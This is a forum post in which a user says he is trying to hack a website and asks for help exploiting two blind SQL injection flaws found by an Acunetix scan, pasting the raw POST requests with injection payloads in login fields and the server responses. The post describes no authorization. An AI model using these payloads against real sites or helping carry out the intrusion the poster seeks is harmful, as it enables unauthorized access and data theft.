[adriancs35]

Hi there mates, so if some one can help me that will be perfect, so in last days i was trying to hack a website, I scanned it with acunetix and it revealed 2 Blind SQL injection vulnerabilities, but bad news, i dont know to do a blind injection, so i ask for your help..

Here is what acunetix scanned

1. "/"
Attack details
URL encoded POST input login_password was set to -1' or 23 = '21

Http headers
Request:
POST /?p=home HTTP/1.1
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=hcrmlnghe4lreuhbrall4kfp94
Host: xxxxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*


login=Log%20In&login_password=-1%27%20or%2023%20%3d%20%2721&login_username=mrvqsbtb

Response:
HTTP/1.1 200 OK
Date: Sun, 01 Sep 2013 01:23:07 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3979
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html

2. "/index.php"
Attack details
URL encoded POST input login_username was set to -1 or 63 = 61

Http header
Request:
POST /index.php?newsid=1&p=news HTTP/1.1
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=hcrmlnghe4lreuhbrall4kfp94
Host: xxxxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

Response:
HTTP/1.1 200 OK
Date: Sun, 01 Sep 2013 01:25:14 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3895
Keep-Alive: timeout=5, max=55
Connection: Keep-Alive
Content-Type: text/html


So if some one can help me with this i will be very happy, thank you for reading my post.
Thanks in advance